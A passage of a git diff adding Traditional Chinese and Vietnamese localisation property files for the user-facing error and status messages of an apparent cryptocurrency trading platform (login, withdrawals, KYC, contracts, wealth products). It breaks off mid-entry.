+user.register.phone.exist=\u624B\u6A5F\u865F\u78BC\u5DF2\u7D93\u5B58\u5728 +user.register.phone.bind=\u624B\u6A5F\u865F\u78BC\u5DF2\u7D93\u7D81\u5B9A +#app +app.login.address.not.null=\u7528\u6236\u5730\u5740\u70BA\u7A7A +login.email.not_register=\u8ACB\u4F7F\u7528\u5DF2\u7D81\u5B9A\u90F5\u7BB1\u9032\u884C\u64CD\u4F5C +login.phone.not_register=\u8ACB\u4F7F\u7528\u5DF2\u7D81\u5B9A\u624B\u6A5F\u865F\u9032\u884C\u64CD\u4F5C +login.code_error=\u9A57\u8B49\u78BC\u932F\u8AA4 +user.login.code.error=\u9A57\u8B49\u78BC\u6548\u9A57\u5931\u6557! +user.login.password.null=\u8ACB\u8F38\u5165\u5BC6\u78BC! +user.login.upd.success=\u4FEE\u6539\u6210\u529F! +phone_code_empty=\u624B\u6A5F\u865F\u4E0D\u80FD\u70BA\u7A7A! +email.code_empty=\u90F5\u7BB1\u4E0D\u80FD\u70BA\u7A7A! +user.code.send=\u9A57\u8B49\u78BC\u767C\u9001\u6210\u529F +app.verification.email.code=\u9A57\u8B49\u78BC\u5DF2\u767C\u9001\u5230\u60A8\u7684\u90F5\u7BB1\uFF0C\u8ACB\u6CE8\u610F\u67E5\u6536 +user.password_bind=\u5BC6\u78BC\u5DF2\u7D93\u8A2D\u7F6E\uFF0C\u8ACB\u52FF\u91CD\u8907\u7D81\u5B9A +user.tard.password_bind=\u5B89\u5168\u5BC6\u78BC\u5DF2\u7D93\u8A2D\u7F6E\uFF0C\u8ACB\u52FF\u91CD\u8907\u7D81\u5B9A +user.login.null=\u7528\u6236\u4E0D\u5B58\u5728\uFF01 +user.login.old.password=\u820A\u5BC6\u78BC\u672A\u8F38\u5165\uFF01 +user.login.new.password=\u65B0\u5BC6\u78BC\u672A\u8F38\u5165\uFF01 +user.login.paw.upd=\u65B0\u5BC6\u78BC\u4E0D\u80FD\u8207\u820A\u5BC6\u78BC\u4E00\u81F4\uFF01 + user.login.old.password.error=\u820A\u5BC6\u78BC\u932F\u8AA4\uFF01 +user.login.address.null=\u5730\u5740\u70BA\u7A7A\uFF01 +user.login.userid.null=\u7528\u6236ID\u70BA\u7A7A\uFF01 +#\u63D0\u73B0 +user.password_notbind=\u8ACB\u8A2D\u7F6E\u5B89\u5168\u5BC6\u78BC +tard_password.error=\u652F\u4ED8\u5BC6\u78BC\u932F\u8AA4 +withdraw.amount_number_exceed=\u7576\u65E5\u63D0\u73FE\u8D85\u904E\u8A2D\u5B9A\u6B21\u6578 +withdraw_error=\u9918\u984D\u4E0D\u8DB3\uFF0C\u7121\u6CD5\u63D0\u73FE +withdraw.amount_error=\u63D0\u73FE\u91D1\u984D\u932F\u8AA4\uFF0C\u8ACB\u4FEE\u6539 +withdraw.refresh=\u8ACB\u5237\u65B0 +withdraw.address.isnull=\u8ACB\u586B\u5BEB\u6B63\u78BA\u7684\u9AD4\u73FE\u5730\u5740\uFF01 +withdraw_require_error = \u76EE\u524D\u9084\u9700\u8981\u73A9\u5269\u4E0B\u7684\u6D41\u6C34 +withdraw_error_coin=\u6B64\u5E63\u7A2E\u4E0D\u5B58\u5728 +withdraw_error_rate=\u6B64\u5E63\u7A2E\u532F\u7387\u4E0D\u5B58\u5728 +#\u5B9E\u540D\u8BA4\u8BC1 +user.kyc.not_blank=\u8EAB\u4EFD\u8BA4\u8BC1\u4FE1\u606F4\u9879\u90FD\u662F\u5FC5\u586B + +#\u5151\u6362 +exchange.symbol.exist = \u514C\u63DB\u7684\u5E63\u7A2E\u4E0D\u80FD\u70BA\u7A7A,\u514C\u63DB\u91D1\u984D\u5FC5\u9808\u5927\u65BC0 +recharge.amout.min=\u6700\u5C0F\u5145\u503C\u91D1\u984D\u70BA{0} +recharge.amout.max=\u6700\u5927\u5145\u503C\u91D1\u984D\u70BA{0} +currency.exchange_min = \u6700\u5C0F\u514C\u63DB\u91D1\u984D\u70BA{0} +currency.exchange_max = \u6700\u5927\u514C\u63DB\u91D1\u984D\u70BA{0} +exchange_error=\u514C\u63DB\u91D1\u984D\u5927\u65BC\u8CEC\u6236\u9918\u984D +exchange.record.exist.error=\u60A8\u6709\u4E00\u7B46\u514C\u63DB\u6B63\u5728\u9032\u884C\u4E2D\uFF0C\u7A0D\u5F8C\u518D\u8A66 +exchange_symbol_error_exist =\u514C\u63DB\u5E63\u7A2E\u4E0D\u5B58\u5728 +#\u79D2\u5408\u7EA6 +order_amount_error=\u9322\u5305\u9918\u984D\u4E0D\u8DB3\uFF0C\u7121\u6CD5\u8CFC\u8CB7 +order_10s_retry=\u4E0B\u55AE\u904E\u65BC\u983B\u7E41\uFF0C\u8ACB10s\u5F8C\u5617\u8A66\u4E0B\u55AE... +#\u7406\u8D22 +user.push.message=\u7528\u6236\u64CD\u4F5C\u88AB\u7981\u6B62 +mine.level.error=\u60A8\u7684VIP\u7B49\u7D1A\u4E0D\u5920\uFF0C\u7121\u6CD5\u8CFC\u8CB7\u6B21\u7406\u8CA1\u7522\u54C1 +order.single.min=\u8CFC\u8CB7\u7684\u91D1\u984D\u5C11\u65BC\u6700\u4F4E\u9650\u984D\uFF0C\u7121\u6CD5\u8CFC\u8CB7 +order.single.max=\u8CFC\u8CB7\u7684\u91D1\u984D\u5927\u65BC\u6700\u5927\u9650\u984D\uFF0C\u7121\u6CD5\u8CFC\u8CB7 +order.buy.insufficient=\u60A8\u7576\u524D\u6700\u591A\u53EF\u8CFC\u8CB7\u91D1\u984D\u70BA{0} +product.removed=\u7522\u54C1\u5DF2\u4E0B\u67B6 +financial.count.max=\u6B64\u7528\u6236\u5DF2\u5230\u9054\u9650\u5236\u6B21\u6578,\u4E0D\u5141\u8A31\u8CFC\u8CB7 +days.not.null=\u8CFC\u8CB7\u9031\u671F\u70BA\u7A7A +days.not.error=\u8CFC\u8CB7\u9031\u671F\u932F\u8AA4 + +contract.accont.error=\u5408\u7D04\u8CEC\u6236\u9918\u984D\u4E0D\u8DB3 +contract.min.share=\u6700\u4F4E\u8CFC\u8CB7\u6578\u70BA{0} +contract.max.share=\u6700\u9AD8\u8CFC\u8CB7\u6578\u70BA{0} +contract.asset.error=\u5408\u7D04\u8CEC\u6236\u9918\u984D\u4E0D\u8DB3 +adjust.min.error=\u6E1B\u5C11\u7684\u4FDD\u8B49\u91D1\u4E0D\u80FD\u5C0F\u65BC\u521D\u59CB\u4FDD\u8B49\u91D1 +order.status.error=\u975E\u6CD5\u63D0\u4EA4 +contract.buy.earn.error=\u8CB7\u5165\u505A\u591A\uFF0C\u6B62\u76C8\u50F9\u4E0D\u80FD\u5C0F\u65BC\u958B\u5009\u5747\u50F9 +contract.buy.loss.error=\u8CB7\u5165\u505A\u591A\uFF0C\u6B62\u640D\u50F9\u4E0D\u80FD\u5927\u65BC\u958B\u5009\u5747\u50F9 +contract.sell.earn.error=\u8CE3\u51FA\u958B\u7A7A\uFF0C\u6B62\u76C8\u50F9\u4E0D\u80FD\u5927\u65BC\u958B\u5009\u5747\u50F9 +contract.sell.loss.error=\u8CE3\u51FA\u958B\u7A7A,\u6B62\u640D\u50F9\u4E0D\u80FD\u5C0F\u65BC\u958B\u5009\u5747\u50F9 +contract.num.limit=\u6578\u91CF\u4E0D\u80FD\u5927\u65BC\u6301\u5009\u91CF +#\u8D44\u91D1\u5212\u8F6C +asset_amount_error=\u9918\u984D\u4E0D\u8DB3 + +order.amount_error=\u9918\u984D\u4E0D\u8DB3 + +order.10s_retry=\u4E0B\u55AE\u904E\u65BC\u983B\u7E41\uFF0C\u8ACB10s\u5F8C\u5617\u8A66\u4E0B\u55AE... + +back.code.exist.error = \u9280\u884C\u5361\u865F\u5DF2\u7D93\u5B58\u5728 + +contract.delivery.day=\u8DDD\u96E2\u4EA4\u5272\u6642\u9593\u9084\u6709\uFF1A{0}\u5929\u3002 +contract.delivery.margan=\u8DDD\u96E2\u4EA4\u5272\u6642\u9593\u9084\u6709\uFF1A{0}\u5929\uFF1B\u5982\u60A8\u7684\u6301\u5009\u4FDD\u8B49\u91D1\u5927\u65BC\u7B49\u65BC{1} USDT \u6216\u6301\u5009\u4FDD\u8B49\u91D1\u5C0F\u65BC\u7B49\u65BC{2}USDT,\u53EF\u4EE5\u63D0\u524D\u5E73\u5009\u3002 +contract.delivery.earn=\u8DDD\u96E2\u4EA4\u5272\u6642\u9593\u9084\u6709\uFF1A{0}\u5929\uFF1B\u5982\u60A8\u7684\u6301\u5009\u4FDD\u8B49\u91D1\u5927\u65BC\u7B49\u65BC{1} USDT \u53EF\u4EE5\u63D0\u524D\u5E73\u5009\u3002 +contract.delivery.loss=\u8DDD\u96E2\u4EA4\u5272\u6642\u9593\u9084\u6709\uFF1A{0}\u5929\uFF1B\u5982\u60A8\u7684\u6301\u5009\u4FDD\u8B49\u91D1\u7522\u5C0F\u65BC\u7B49\u65BC{1}USDT,\u53EF\u4EE5\u63D0\u524D\u5E73\u5009\u3002 +order.audit.error=\u6B63\u5728\u5BA1\u6838\u4E2D +order.audit.pass=\u6B63\u5728\u5132\u503C\u4E2D\uFF0C\u9700\u8981\u5168\u74035\u500B\u7BC0\u9EDE\u78BA\u8A8D\uFF0C\u8ACB\u8010\u5FC3\u7B49\u5F85 + +#\u7533\u8D2D +own.coin.limit.num=\u53EF\u8CFC\u8CB7\u6578\u91CF{0} +own.coin.limit=\u53EF\u7528\u9918\u984D{0} +own.coin.success=\u7533\u8CFC\u6210\u529F +own.coin.error=\u7CFB\u7EDF\u9519\u8BEF\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +own.coin.sub.play=\u60A8\u5DF2\u7533\u8CFC\uFF0C\u8ACB\u52FF\u91CD\u8907\u63D0\u4EA4\uFF01 +own.coin.sub.error=\u672A\u8A02\u95B2\u6210\u529F\u4E0D\u53EF\u7533\u8CFC +own.coin.sub.success=\u60A8\u5DF2\u7372\u5F97 {0} \u7533\u8CFC\u8CC7\u683C +own.coin.sub.num.error=\u8ACB\u586B\u5BEB\u6B63\u78BA\u6578\u91CF +order.sell.min.error=\u6700\u4F4E\u8CE3\u51FA\u91CF\u70BA{0} +order.audit.reject=\u5E73\u5009\u5931\u6557 +order_amount_limit=\u4E0D\u7B26\u5408\u91D1\u984D\u4E0A\u4E0B\u9650 + + +#\u65B0\u53D1\u5E01\u8BA2\u9605 +own.coin.subscribe.success=\u8A02\u95B2\u6210\u529F\uFF01 +own.coin.subscribe.error=\u8A02\u95B2\u5931\u6557\uFF0C\u8ACB\u7A0D\u5F8C\u518D\u8A66 +withdraw.kyc.error=\u8ACB\u5148\u5B8C\u6210\u5BE6\u540D\u8A8D\u8B49\uFF0C\u89E3\u9664\u9650\u984D +currency.coin.setting.nonexistent=\u7576\u524D{}\u914D\u7F6E\u4E0D\u5B58\u5728 +currency.balance.deficiency=\u7576\u524D{}\u5E63\u7A2E\u9918\u984D\u4E0D\u8DB3 +currency.deal.error=\u6B64\u5E63\u7A2E\u4E0D\u53EF\u4EA4\u6613 + +#\u5B9E\u540D\u8BA4\u8BC1 +user.authentication.not.certified = \u8ACB\u5148\u9032\u884C\u521D\u7D1A\u8A8D\u8B49 + +#\u9ED1\u540D\u5355 +user_is_black = \u60A8\u7684\u5E33\u865F\u5DF2\u5217\u5165\u9ED1\u540D\u55AE\uFF0C\u7121\u6CD5\u767B\u5165\u3002 + +#\u5E01\u5E01\u4EA4\u6613 +currency.order.min.error= \u6700\u5C0F\u4E0B\u55AE\u91CF\u70BA {0} +currency.order.max.error= \u6700\u5927\u4E0B\u55AE\u91CF\u70BA {0} + diff --git a/ruoyi-api/src/main/resources/i18n/messages_vi.properties b/ruoyi-api/src/main/resources/i18n/messages_vi.properties new file mode 100644 index 0000000..58f7733 --- /dev/null +++ b/ruoyi-api/src/main/resources/i18n/messages_vi.properties @@ -0,0 +1,144 @@ +user.appname=\u8D8A\u5357\u8BED\u8BED\u8A00 + +not.null=* Y\u00EAu c\u1EA7u +user.jcaptcha.error=L\u1ED7i m\u00E3 x\u00E1c minh +user.jcaptcha.expire=M\u00E3 x\u00E1c minh \u0111\u00E3 h\u1EBFt h\u1EA1n +user.not.exists=Ng\u01B0\u1EDDi d\u00F9ng kh\u00F4ng t\u1ED3n t\u1EA1i/sai m\u1EADt kh\u1EA9u +user.password.not.match=Ng\u01B0\u1EDDi d\u00F9ng kh\u00F4ng t\u1ED3n t\u1EA1i/sai m\u1EADt kh\u1EA9u +user.password.retry.limit.count=M\u1EADt kh\u1EA9u \u0111\u00E3 nh\u1EADp sai {0} l\u1EA7n +user.password.retry.limit.exceed= N\u1EBFu nh\u1EADp sai m\u1EADt kh\u1EA9u {0} l\u1EA7n, t\u00E0i kho\u1EA3n s\u1EBD b\u1ECB kh\u00F3a trong {1} ph\u00FAt. +user.password.delete=Xin l\u1ED7i, t\u00E0i kho\u1EA3n c\u1EE7a b\u1EA1n \u0111\u00E3 b\u1ECB x\u00F3a +user.blocked=Ng\u01B0\u1EDDi d\u00F9ng \u0111\u00E3 b\u1ECB c\u1EA5m, vui l\u00F2ng li\u00EAn h\u1EC7 v\u1EDBi qu\u1EA3n tr\u1ECB vi\u00EAn +role.blocked=Vai tr\u00F2 \u0111\u00E3 b\u1ECB c\u1EA5m, vui l\u00F2ng li\u00EAn h\u1EC7 v\u1EDBi qu\u1EA3n tr\u1ECB vi\u00EAn +login.blocked=Th\u1EADt kh\u00F4ng may, IP truy c\u1EADp \u0111\u00E3 b\u1ECB \u0111\u01B0a v\u00E0o danh s\u00E1ch \u0111en c\u1EE7a h\u1EC7 th\u1ED1ng +user.logout.success=tho\u00E1t th\u00E0nh c\u00F4ng +length.not.valid=\u0110\u1ED9 d\u00E0i ph\u1EA3i n\u1EB1m trong kho\u1EA3ng t\u1EEB {min} \u0111\u1EBFn {max} k\u00FD t\u1EF1 +user.username.not.valid=* N\u00F3 bao g\u1ED3m t\u1EEB 2 \u0111\u1EBFn 20 k\u00FD t\u1EF1 ti\u1EBFng Trung, ch\u1EEF c\u00E1i, s\u1ED1 ho\u1EB7c d\u1EA5u g\u1EA1ch d\u01B0\u1EDBi v\u00E0 ph\u1EA3i b\u1EAFt \u0111\u1EA7u b\u1EB1ng m\u1ED9t s\u1ED1 kh\u00F4ng ph\u1EA3i s\u1ED1 +user.password.not.valid=* 5-50 k\u00FD t\u1EF1 +user.email.not.valid= L\u1ED7i \u0111\u1ECBnh d\u1EA1ng email +user.mobile.phone.number.not.valid=S\u1ED1 \u0111i\u1EC7n tho\u1EA1i kh\u00F4ng \u0111\u00FAng \u0111\u1ECBnh d\u1EA1ng +user.login.success=\u0111\u0103ng nh\u1EADp th\u00E0nh c\u00F4ng +user.register.success=\u0111\u0103ng k\u00FD th\u00E0nh c\u00F4ng +user.notfound=xin vui l\u00F2ng \u0111\u0103ng nh\u1EADp l\u1EA1i +user.forcelogout=Qu\u1EA3n tr\u1ECB vi\u00EAn bu\u1ED9c ph\u1EA3i \u0111\u0103ng xu\u1EA5t, vui l\u00F2ng \u0111\u0103ng nh\u1EADp l\u1EA1i +user.unknown.error=L\u1ED7i kh\u00F4ng x\u00E1c \u0111\u1ECBnh, vui l\u00F2ng \u0111\u0103ng nh\u1EADp l\u1EA1i +upload.exceed.maxSize=K\u00EDch th\u01B0\u1EDBc t\u1EC7p \u0111\u01B0\u1EE3c t\u1EA3i l\u00EAn v\u01B0\u1EE3t qu\u00E1 gi\u1EDBi h\u1EA1n k\u00EDch th\u01B0\u1EDBc t\u1EC7p!
K\u00EDch th\u01B0\u1EDBc t\u1EC7p t\u1ED1i \u0111a \u0111\u01B0\u1EE3c ph\u00E9p l\u00E0: {0}MB! +upload.filename.exceed.length=T\u00EAn t\u1EC7p \u0111\u00E3 t\u1EA3i l\u00EAn ph\u1EA3i d\u00E0i t\u1ED1i \u0111a {0} k\u00FD t\u1EF1 +no.permission=B\u1EA1n kh\u00F4ng c\u00F3 quy\u1EC1n truy c\u1EADp d\u1EEF li\u1EC7u, vui l\u00F2ng li\u00EAn h\u1EC7 v\u1EDBi qu\u1EA3n tr\u1ECB vi\u00EAn \u0111\u1EC3 th\u00EAm quy\u1EC1n [{0}] +no.create.permission=B\u1EA1n kh\u00F4ng c\u00F3 quy\u1EC1n t\u1EA1o d\u1EEF li\u1EC7u, vui l\u00F2ng li\u00EAn h\u1EC7 v\u1EDBi qu\u1EA3n tr\u1ECB vi\u00EAn \u0111\u1EC3 th\u00EAm quy\u1EC1n [{0}] +no.update.permission=B\u1EA1n kh\u00F4ng c\u00F3 quy\u1EC1n s\u1EEDa \u0111\u1ED5i d\u1EEF li\u1EC7u, vui l\u00F2ng li\u00EAn h\u1EC7 v\u1EDBi qu\u1EA3n tr\u1ECB vi\u00EAn \u0111\u1EC3 th\u00EAm quy\u1EC1n [{0}] +no.delete.permission=B\u1EA1n kh\u00F4ng c\u00F3 quy\u1EC1n x\u00F3a d\u1EEF li\u1EC7u, vui l\u00F2ng li\u00EAn h\u1EC7 v\u1EDBi qu\u1EA3n tr\u1ECB vi\u00EAn \u0111\u1EC3 th\u00EAm quy\u1EC1n [{0}] +no.export.permission=B\u1EA1n kh\u00F4ng c\u00F3 quy\u1EC1n xu\u1EA5t d\u1EEF li\u1EC7u, vui l\u00F2ng li\u00EAn h\u1EC7 v\u1EDBi qu\u1EA3n tr\u1ECB vi\u00EAn \u0111\u1EC3 th\u00EAm quy\u1EC1n [{0}] +no.view.permission=B\u1EA1n kh\u00F4ng c\u00F3 quy\u1EC1n xem d\u1EEF li\u1EC7u, vui l\u00F2ng li\u00EAn h\u1EC7 v\u1EDBi qu\u1EA3n tr\u1ECB vi\u00EAn \u0111\u1EC3 th\u00EAm quy\u1EC1n [{0}] +user.register.email.format=\u0110\u1ECBnh d\u1EA1ng email kh\u00F4ng \u0111\u00FAng +user.register.email.exisit=Email \u0111\u00E3 t\u1ED3n t\u1EA1i +user.register.phone.exisit=Email \u0111\u00E3 t\u1ED3n t\u1EA1i +user.user_name_exisit=t\u00EAn n\u00E0y \u0111\u00E3 c\u00F3 ng\u01B0\u1EDDi d\u00F9ng +login.user_error=sai t\u00EAn ng\u01B0\u1EDDi d\u00F9ng ho\u1EB7c m\u1EADt kh\u1EA9u +user.login.address.error=\u0110\u1ECBa ch\u1EC9 \u0111\u00E3 c\u00F3 ng\u01B0\u1EDDi s\u1EED d\u1EE5ng! +app.login.address.not.null=\u0110\u1ECBa ch\u1EC9 ng\u01B0\u1EDDi d\u00F9ng tr\u1ED1ng +user.register.phone.exist=S\u1ED1 \u0111i\u1EC7n tho\u1EA1i di \u0111\u1ED9ng \u0111\uFFFD t\u1ED3n t\u1EA1i +user.register.phone.bind=S\u1ED1 \u0111i\u1EC7n tho\u1EA1i di \u0111\u1ED9ng \u0111\uFFFD b\u1ECB r\uFFFDng bu\u1ED9c +login.email.not_register= Vui l\u00F2ng s\u1EED d\u1EE5ng \u0111\u1ECBa ch\u1EC9 email b\u1ECB r\u00E0ng bu\u1ED9c \u0111\u1EC3 ho\u1EA1t \u0111\u1ED9ng +login.phone.not_register=Vui l\u00F2ng s\u1EED d\u1EE5ng s\u1ED1 \u0111i\u1EC7n tho\u1EA1i di \u0111\u1ED9ng \u0111\u01B0\u1EE3c li\u00EAn k\u1EBFt \u0111\u1EC3 v\u1EADn h\u00E0nh +login.code_error=L\u1ED7i m\u00E3 x\u00E1c minh +user.login.code.error=X\u00E1c minh m\u00E3 x\u00E1c minh kh\u00F4ng th\u00E0nh c\u00F4ng! +user.login.password.null=Vui l\u00F2ng nh\u1EADp m\u1EADt kh\u1EA9u c\u1EE7a b\u1EA1n! +user.login.upd.success=\u0110\u00E3 s\u1EEDa \u0111\u1ED5i th\u00E0nh c\u00F4ng! +phone_code_empty=S\u1ED1 \u0111i\u1EC7n tho\u1EA1i di \u0111\u1ED9ng kh\u00F4ng \u0111\u01B0\u1EE3c \u0111\u1EC3 tr\u1ED1ng! +email.code_empty=E-mail kh\u00F4ng \u0111\u01B0\u1EE3c \u0111\u1EC3 tr\u1ED1ng! +user.code.send=M\u00E3 x\u00E1c minh \u0111\u00E3 \u0111\u01B0\u1EE3c g\u1EEDi th\u00E0nh c\u00F4ng +app.verification.email.code=M\u00E3 x\u00E1c minh \u0111\u00E3 \u0111\u01B0\u1EE3c g\u1EEDi t\u1EDBi email c\u1EE7a b\u1EA1n, vui l\u00F2ng ki\u1EC3m tra. +user.password_bind=M\u1EADt kh\u1EA9u \u0111\u00E3 \u0111\u01B0\u1EE3c \u0111\u1EB7t, vui l\u00F2ng kh\u00F4ng li\u00EAn k\u1EBFt l\u1EA1i. +user.tard.password_bind= M\u1EADt kh\u1EA9u b\u1EA3o m\u1EADt \u0111\u00E3 \u0111\u01B0\u1EE3c \u0111\u1EB7t, vui l\u00F2ng kh\u00F4ng li\u00EAn k\u1EBFt l\u1EA1i. +user.login.null=Ng\u01B0\u1EDDi d\u00F9ng kh\u00F4ng t\u1ED3n t\u1EA1i! +user.login.old.password=M\u1EADt kh\u1EA9u c\u0169 ch\u01B0a \u0111\u01B0\u1EE3c nh\u1EADp! +user.login.new.password=M\u1EADt kh\u1EA9u m\u1EDBi ch\u01B0a \u0111\u01B0\u1EE3c nh\u1EADp! +user.login.paw.upd=M\u1EADt kh\u1EA9u m\u1EDBi kh\u00F4ng \u0111\u01B0\u1EE3c gi\u1ED1ng m\u1EADt kh\u1EA9u c\u0169! +user.login.old.password.error=M\u1EADt kh\u1EA9u c\u0169 sai! +user.login.address.null=\u0110\u1ECBa ch\u1EC9 tr\u1ED1ng! +user.login.userid.null=ID ng\u01B0\u1EDDi d\u00F9ng tr\u1ED1ng! +user.password_notbind=H\u00E3y \u0111\u1EB7t m\u1EADt kh\u1EA9u an to\u00E0n +tard_password.error=Sai m\u1EADt kh\u1EA9u thanh to\u00E1n + +#\u63D0\u73B0 +withdraw.amount_number_exceed= R\u00FAt ti\u1EC1n v\u01B0\u1EE3t qu\u00E1 s\u1ED1 l\u1EA7n \u0111\u00E3 \u0111\u1EB7t trong ng\u00E0y +withdraw_error= S\u1ED1 d\u01B0 kh\u00F4ng \u0111\u1EE7, kh\u00F4ng th\u1EC3 r\u00FAt ti\u1EC1n m\u1EB7t +withdraw.amount_error=S\u1ED1 ti\u1EC1n r\u00FAt sai, vui l\u00F2ng s\u1EEDa l\u1EA1i. +withdraw.refresh=vui l\u00F2ng l\u00E0m m\u1EDBi +withdraw.address.isnull=Vui l\u00F2ng \u0111i\u1EC1n \u0111\u00FAng \u0111\u1ECBa ch\u1EC9 r\u00FAt ti\u1EC1n! +withdraw_require_error = Hi\u1EC7n t\u1EA1i, ch\u00FAng ta v\u1EABn c\u1EA7n ch\u01A1i v\u1EDBi doanh thu c\u00F2n l\u1EA1i. +withdraw_error_coin=Lo\u1EA1i ti\u1EC1n t\u1EC7 n\u00E0y kh\u00F4ng t\u1ED3n t\u1EA1i +withdraw_error_rate=T\u1EF7 gi\u00E1 h\u1ED1i \u0111o\u00E1i n\u00E0y kh\u00F4ng t\u1ED3n t\u1EA1i +user.kyc.not_blank= T\u1EA5t c\u1EA3 b\u1ED1n m\u1EE5c th\u00F4ng tin x\u00E1c th\u1EF1c danh t\u00EDnh \u0111\u1EC1u \u0111\u01B0\u1EE3c y\u00EAu c\u1EA7u. +exchange.symbol.exist= Lo\u1EA1i ti\u1EC1n quy \u0111\u1ED5i kh\u00F4ng \u0111\u01B0\u1EE3c \u0111\u1EC3 tr\u1ED1ng v\u00E0 s\u1ED1 ti\u1EC1n quy \u0111\u1ED5i ph\u1EA3i l\u1EDBn h\u01A1n 0 +recharge.amout.min=S\u1ED1 ti\u1EC1n g\u1EEDi t\u1ED1i thi\u1EC3u l\u00E0 {0} +recharge.amout.max=S\u1ED1 ti\u1EC1n n\u1EA1p t\u1ED1i \u0111a l\u00E0 {0} +currency.exchange_min=S\u1ED1 ti\u1EC1n trao \u0111\u1ED5i t\u1ED1i thi\u1EC3u l\u00E0 {0} +currency.exchange_max=S\u1ED1 ti\u1EC1n trao \u0111\u1ED5i t\u1ED1i \u0111a l\u00E0 {0} +exchange_error=S\u1ED1 ti\u1EC1n quy \u0111\u1ED5i l\u1EDBn h\u01A1n s\u1ED1 d\u01B0 t\u00E0i kho\u1EA3n +exchange.record.exist.error=B\u1EA1n \u0111ang ti\u1EBFn h\u00E0nh \u0111\u1ED5i qu\u00E0, vui l\u00F2ng th\u1EED l\u1EA1i sau +exchange_symbol_error_exist=\u0110\u1ED3ng ti\u1EC1n trao \u0111\u1ED5i kh\u00F4ng t\u1ED3n t\u1EA1i +order_amount_error= S\u1ED1 d\u01B0 trong v\u00ED kh\u00F4ng \u0111\u1EE7, kh\u00F4ng th\u1EC3 mua +order_10s_retry=\u0110\u01A1n h\u00E0ng \u0111\u01B0\u1EE3c \u0111\u1EB7t qu\u00E1 th\u01B0\u1EDDng xuy\u00EAn, vui l\u00F2ng th\u1EED \u0111\u1EB7t h\u00E0ng sau 10 gi\u00E2y... +user.push.message=Ho\u1EA1t \u0111\u1ED9ng c\u1EE7a ng\u01B0\u1EDDi d\u00F9ng b\u1ECB c\u1EA5m +mine.level.error=C\u1EA5p VIP c\u1EE7a b\u1EA1n kh\u00F4ng \u0111\u1EE7 \u0111\u1EC3 mua c\u00E1c s\u1EA3n ph\u1EA9m t\u00E0i ch\u00EDnh +order.single.min=S\u1ED1 ti\u1EC1n mua \u00EDt h\u01A1n gi\u1EDBi h\u1EA1n t\u1ED1i thi\u1EC3u v\u00E0 kh\u00F4ng th\u1EC3 mua \u0111\u01B0\u1EE3c +order.single.max=S\u1ED1 ti\u1EC1n mua l\u1EDBn h\u01A1n gi\u1EDBi h\u1EA1n t\u1ED1i \u0111a v\u00E0 kh\u00F4ng th\u1EC3 mua \u0111\u01B0\u1EE3c. +order.buy.insufficient=S\u1ED1 ti\u1EC1n t\u1ED1i \u0111a b\u1EA1n c\u00F3 th\u1EC3 mua hi\u1EC7n t\u1EA1i l\u00E0 {0} +product.removed=S\u1EA3n ph\u1EA9m \u0111\u00E3 \u0111\u01B0\u1EE3c g\u1EE1 b\u1ECF kh\u1ECFi k\u1EC7 +financial.count.max=Ng\u01B0\u1EDDi d\u00F9ng n\u00E0y \u0111\u00E3 \u0111\u1EA1t \u0111\u1EBFn gi\u1EDBi h\u1EA1n v\u00E0 kh\u00F4ng \u0111\u01B0\u1EE3c ph\u00E9p mua h\u00E0ng. +days.not.null=Chu k\u1EF3 mua h\u00E0ng tr\u1ED1ng +days.not.error=L\u1ED7i chu k\u1EF3 mua h\u00E0ng +contract.accont.error=S\u1ED1 d\u01B0 trong t\u00E0i kho\u1EA3n h\u1EE3p \u0111\u1ED3ng kh\u00F4ng \u0111\u1EE7 +contract.min.share=S\u1ED1 l\u01B0\u1EE3ng mua t\u1ED1i thi\u1EC3u l\u00E0 {0} +contract.max.share=S\u1ED1 l\u1EA7n mua t\u1ED1i \u0111a l\u00E0 {0} +contract.asset.error=S\u1ED1 d\u01B0 trong t\u00E0i kho\u1EA3n h\u1EE3p \u0111\u1ED3ng kh\u00F4ng \u0111\u1EE7 +adjust.min.error=S\u1ED1 ti\u1EC1n k\u00FD qu\u1EF9 gi\u1EA3m kh\u00F4ng \u0111\u01B0\u1EE3c nh\u1ECF h\u01A1n s\u1ED1 ti\u1EC1n k\u00FD qu\u1EF9 ban \u0111\u1EA7u +order.status.error=N\u1ED9p b\u00E0i b\u1EA5t h\u1EE3p ph\u00E1p +contract.buy.earn.error=Mua l\u00E2u, gi\u00E1 ch\u1ED1t l\u1EDDi kh\u00F4ng th\u1EC3 th\u1EA5p h\u01A1n gi\u00E1 m\u1EDF c\u1EEDa trung b\u00ECnh +contract.buy.loss.error=Mua l\u00E2u, gi\u00E1 d\u1EEBng l\u1ED7 kh\u00F4ng \u0111\u01B0\u1EE3c l\u1EDBn h\u01A1n gi\u00E1 m\u1EDF c\u1EEDa trung b\u00ECnh +contract.sell.earn.error=B\u00E1n \u0111\u1EC3 m\u1EDF m\u1ED9t v\u1ECB th\u1EBF b\u00E1n, gi\u00E1 ch\u1ED1t l\u1EDDi kh\u00F4ng \u0111\u01B0\u1EE3c l\u1EDBn h\u01A1n gi\u00E1 m\u1EDF c\u1EEDa trung b\u00ECnh +contract.sell.loss.error=B\u00E1n v\u00E0 m\u1EDF l\u1EC7nh b\u00E1n, gi\u00E1 d\u1EEBng l\u1ED7 kh\u00F4ng th\u1EC3 th\u1EA5p h\u01A1n gi\u00E1 m\u1EDF c\u1EEDa trung b\u00ECnh +contract.num.limit=S\u1ED1 l\u01B0\u1EE3ng kh\u00F4ng \u0111\u01B0\u1EE3c l\u1EDBn h\u01A1n v\u1ECB tr\u00ED +asset_amount_error=Thi\u1EBFu c\u00E2n b\u1EB1ng +order.amount_error=S\u1ED1 d\u01B0 trong t\u00E0i kho\u1EA3n t\u00E0i ch\u00EDnh kh\u00F4ng \u0111\u1EE7 +back.code.exist.error=S\u1ED1 th\u1EBB ng\u00E2n h\u00E0ng \u0111\u00E3 t\u1ED3n t\u1EA1i{} +contract.delivery.day= V\u1EABn c\u00F2n: {0} ng\u00E0y n\u1EEFa m\u1EDBi giao h\u00E0ng. +contract.delivery.margan=V\u1EABn c\u00F2n: {0} ng\u00E0y tr\u01B0\u1EDBc khi giao h\u00E0ng; n\u1EBFu k\u00FD qu\u1EF9 v\u1ECB th\u1EBF c\u1EE7a b\u1EA1n l\u1EDBn h\u01A1n ho\u1EB7c b\u1EB1ng {1} USDT ho\u1EB7c k\u00FD qu\u1EF9 v\u1ECB th\u1EBF c\u1EE7a b\u1EA1n nh\u1ECF h\u01A1n ho\u1EB7c b\u1EB1ng {2} USDT, b\u1EA1n c\u00F3 th\u1EC3 \u0111\u00F3ng v\u1ECB 